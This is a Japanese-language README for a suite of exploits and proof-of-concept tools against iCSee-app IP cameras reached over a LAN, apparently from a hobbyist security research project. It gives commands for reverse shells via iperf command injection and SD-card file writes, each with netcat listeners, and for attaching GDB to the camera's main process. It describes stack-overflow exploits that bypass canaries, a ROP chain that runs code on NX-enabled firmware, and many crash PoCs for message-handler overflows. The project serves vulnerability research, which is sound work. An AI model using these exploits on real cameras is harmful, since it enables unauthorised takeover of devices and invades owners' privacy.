
これは、iCSeeアプリケーションを使用するカメラ向けのツール/PoC/エクスプロイトのスイートです。そして、そうです - NESゲームを実行できます!
これは、LAN経由でiCSeeビデオ通話カメラ(およびおそらく非ビデオ通話カメラも)に使用できるツール/PoC/エクスプロイトのスイートです。これは、SDカード更新方法の代わりとして、代替ファームウェアを書き込むために簡単に使用できます。
注: メモリ破壊エクスプロイトは、カメラのファームウェアバージョンが V5.00.R02.000949U5.10000.141324.0000010 または V5.00.R02.000807E5.10000.346724.0000010 の場合にのみ機能します。これらのエクスプロイトは固定オフセットに依存しており、ファームウェアがビルドされるたびに変更されます。
[2] 無駄な整数オーバーフロー + いくつかの有用なバグを見つける
[6] 正当性 + 2台目のカメラでの完全なメモリ破壊エクスプロイト
pycryptodome : RSAログイン暗号化のためpwntools : シェルコードのためpyftpdlib : FTPサーバーのためpynput : NESキーボード入力のためget_system_infoこれは get_system_info メソッドを使用して、ポート34567経由でカメラの情報を取得します。
python3 icseeu.py get_system_info
{
"Name": "SystemInfo",
"Ret": 100,
"SessionID": "0x0001869f",
"SystemInfo": {
"AlarmInChannel": 0,
"AlarmOutChannel": 0,
"AudioInChannel": 1,
"BuildTime": "2024-06-27 10:33:41",
"CombineSwitch": 0,
"DeviceModel": "IPC_GK7201V300_G2-WR-V_S38",
"DeviceRunTime": "0x000026c6",
"DeviceType": 7,
"DigChannel": 0,
"EncryptVersion": "Unknown",
"ExtraChannel": 0,
"HardWare": "IPC_GK7201V300_G2-WR-V_S38",
"HardWareVersion": "Unknown",
"Pid": "A909409U5000000N",
"SerialNo": "bf7816d59506ec06",
"SoftWareVersion": "V5.00.R02.000949U5.10000.141324.0000010",
"TalkInChannel": 1,
"TalkOutChannel": 1,
"UpdataTime": "",
"UpdataType": "0x00000000",
"VideoInChannel": 1,
"VideoOutChannel": 1
}
}
ftp_get_logs残留テキスト機能を使用してデバイスからログを取得します(ログは FTPTestDir/Test に保存されます)。
python3 icseeu.py ftp_get_logs
gdb_revshellSDカードのファイル書き込み脆弱性と、SDカード上のバイナリのリモート実行を可能にする iperf バイナリ実行脆弱性を利用して、リバースシェルを取得し、メインの App プロセスにアタッチするGDBデバッガを起動します。
端末1:
nc -l 1234
端末2:
python3 icseeu.py gdb_revshell
端末3:
gdb-multiarch
gef-remote 192.168.188.2 8888
注意: プログラムを30秒以上停止させないでください。ウォッチドッグが作動し、App プロセスが再起動します!
注意2: ペイロード内のハードコードされたIPアドレス(GDB_Revshell/remote_mgmt.c)をLAN上の自分のマシンのIPに変更し、ペイロードを再ビルドする必要があるかもしれません。
gdb_revshell_injectSDカードのファイル書き込み脆弱性と、SDカード上のバイナリのリモート実行を可能にする iperf コマンドインジェクション脆弱性を利用して、リバースシェルを取得し、メインの App プロセスにアタッチするGDBデバッガを起動します。
これは、すでに iperf バイナリが存在し、他の方法が機能しないデバイスに有用です。
端末1:
nc -l 1234
端末2:
python3 icseeu.py gdb_revshell_inject
端末3:
gdb-multiarch
gef-remote 192.168.188.2 8888
注意: プログラムを30秒以上停止させないでください。ウォッチドッグが作動し、App プロセスが再起動します!
注意2: ペイロード内のハードコードされたIPアドレス(GDB_Revshell/remote_mgmt.c)をLAN上の自分のマシンのIPに変更し、ペイロードを再ビルドする必要があるかもしれません。
iperf_inject_exploitiperf コマンドインジェクションを利用してリバースシェルを確立します。
端末1:
nc -l 1234
端末2:
python3 icseeu.py iperf_inject_exploit
注意: ペイロード内のハードコードされたIPアドレス(Revshell_Inject/remote_mgmt.c)をLAN上の自分のマシンのIPに変更し、ペイロードを再ビルドする必要があるかもしれません。
これらはメッセージタイプ 0x7d8 のハンドラにおける2番目のスタックオーバーフロー用のエクスプロイトです。このオーバーフローは、スタックカナリアをバイパスして実行を取得できる点で興味深いです。
これらを動作させるには、ディスパッチャペイロードをビルドする必要があります(PayloadDispatcher ディレクトリで make を実行)。また、カメラで実行したいペイロードは、それぞれのディレクトリ(例: ImageDisplay)で make を実行してビルドしてください。
注:
screenflash画面を点滅させてコード実行ができていることを示します。
python3 icseeu.py exploit_goke screenflash
rgbRGB色を点滅させて画面の制御ができていることを示します。
python3 icseeu.py exploit_goke rgb
imagedisplayファイル書き込みを使用して生のRGB 5:6:5画像をアップロードします。ディレクトリ内の画像に対して ffmpeg -i image.jpg -vf scale=240:320 -c:v rawvideo -pix_fmt rgb565 -f rawvideo image.raw を実行して、ImageDisplay ディレクトリに image.raw ファイルを用意してください。画像が画面に表示されます。
python3 icseeu.py exploit_goke imagedisplay
buttontestボタンの状態を読み取れることを示し、いずれかのボタンが押されたことが検出されると色が点滅します。
python3 icseeu.py exploit_goke buttontest
pongPongゲームの最小実装で、画面と前面のボタンの制御ができていることを示し、やや複雑なペイロードも示します。
python3 icseeu.py exploit_goke pong
nes移植されたNESエミュレータで、GOKE_Payloads/nes ディレクトリに配置された rom.nes を実行できます。バイナリを生成するには、GOKE_Payloads/nes/smolnes と GOKE_Payload/nes で make を実行してください。
python3 icseeu.py exploit_goke nes
これは、スタックカナリアはありませんがNXが有効な別のカメラのスタックオーバーフロー用のエクスプロイトです。スタックをピボットして大きなROPチェーンを実行するROPチェーンを作成しました。このROPチェーンは実行可能メモリをマッピングし、ファイルの内容をメモリにロードし、それを実行するスレッドを生成し、スタック状態を修正して実行を継続します。
これらを動作させるには、ペイロードをビルドする必要があります。それぞれのディレクトリ(例: ImageDisplay)で make を実行してください。
注:
screenflash画面を点滅させてコード実行ができていることを示します。
python3 icseeu.py exploit_xm530 screenflash
rgbRGB色を点滅させて画面の制御ができていることを示します。
python3 icseeu.py exploit_xm530 rgb
imagedisplayファイル書き込みを使用して生のRGB 5:6:5画像をアップロードします。ディレクトリ内の画像に対して ffmpeg -i image.jpg -vf scale=240:320 -c:v rawvideo -pix_fmt rgb565be -f rawvideo image.raw を実行して、ImageDisplay ディレクトリに image.raw ファイルを用意してください。画像が画面に表示されます。
python3 icseeu.py exploit_xm530 imagedisplay
これらの概念実証(およびその根本的な原因)の詳細は、このReadmeの上部にあるブログに記載されています。
integer_underflow_httpこのPoCは、HTTPサーバーでの整数アンダーフローによりクラッシュを引き起こします。
python3 icseeu.py integer_underflow_http
iperf_runこのPoCは、SDカードの iperf/iperf に保存されたファイル(ash スクリプトまたはバイナリ)を実行します。
python3 icseeu.py iperf_run
iperf_injectこのPoCは、コマンドインジェクションを介して reboot コマンドを実行します。これを動作させるには、SDカードに iperf/iperf ファイルが存在している必要があります。
python3 icseeu.py iperf_inject
assert_trigger_0x41aこのPoCは、0x41a メッセージタイプハンドラでの大きな割り当てによるアサートをトリガーします(クラッシュを引き起こします)。
python3 icseeu.py assert_trigger_0x41a
integer_overflow_0x41aこのPoCは、0x41a メッセージハンドラで奇妙な範囲外読み取りを引き起こす整数オーバーフローによりクラッシュをトリガーします。
python3 icseeu.py integer_overflow_0x41a
stack_overflow_0x43aこのPoCは、タイプ 0x43a のメッセージハンドラでのスタックオーバーフローによりクラッシュをトリガーします。
python3 icseeu.py stack_overflow_0x43a
stack_overflow_0x438_1このPoCは、タイプ 0x438 のメッセージハンドラでの最初のスタックオーバーフローによりクラッシュをトリガーします。
python3 icseeu.py stack_overflow_0x438_1
stack_overflow_0x438_2このPoCは、タイプ 0x438 のメッセージハンドラでの2番目のスタックオーバーフローによりクラッシュをトリガーします。
python3 icseeu.py stack_overflow_0x438_2
stack_overflow_0xdacこのPoCは、タイプ 0xdac のメッセージハンドラでのスタックオーバーフローによりクラッシュをトリガーします。
python3 icseeu.py stack_overflow_0xdac
stack_overflow_0x5a4このPoCは、タイプ 0x5a4 のメッセージハンドラでのスタックオーバーフローによりクラッシュをトリガーします。
python3 icseeu.py stack_overflow_0x5a4
stack_overflow_0x414このPoCは、タイプ 0x414 のメッセージハンドラでのスタックオーバーフローによりクラッシュをトリガーします。
python3 icseeu.py stack_overflow_0x414
stack_overflow_0x410_1このPoCは、タイプ 0x410 のメッセージハンドラでの最初のスタックオーバーフローによりクラッシュをトリガーします。
python3 icseeu.py stack_overflow_0x438_1
注意: コマンドに誤りがあります。正しくは icseeu.py stack_overflow_0x410_1 です。
stack_overflow_0x410_2このPoCは、タイプ 0x410 のメッセージハンドラでの2番目のスタックオーバーフローによりクラッシュをトリガーします。
python3 icseeu.py stack_overflow_0x410_2
stack_overflow_0x5a8このPoCは、タイプ 0x5a8 のメッセージハンドラでのスタックオーバーフローによりクラッシュをトリガーします。
python3 icseeu.py stack_overflow_0x5a8
stack_overflow_0x41eこのPoCは、タイプ 0x41e のメッセージハンドラでのスタックオーバーフローによりクラッシュをトリガーします。
python3 icseeu.py stack_overflow_0x41e
stack_overflow_0x7d8_1このPoCは、タイプ 0x7d8 のメッセージハンドラでの最初のスタックオーバーフローによりクラッシュをトリガーします。
python3 icseeu.py stack_overflow_0x7d8_1
stack_overflow_0x7d8_2このPoCは、タイプ 0x7d8 のメッセージハンドラでの2番目のスタックオーバーフローによりクラッシュをトリガーします。
python3 icseeu.py stack_overflow_0x7d8_2
stack_overflow_0x8a6このPoCは、タイプ 0x8a6 のメッセージハンドラでのスタックオーバーフローによりクラッシュをトリガーします(すべてのカメラに存在するわけではありません)。
python3 icseeu.py stack_overflow_0x8a6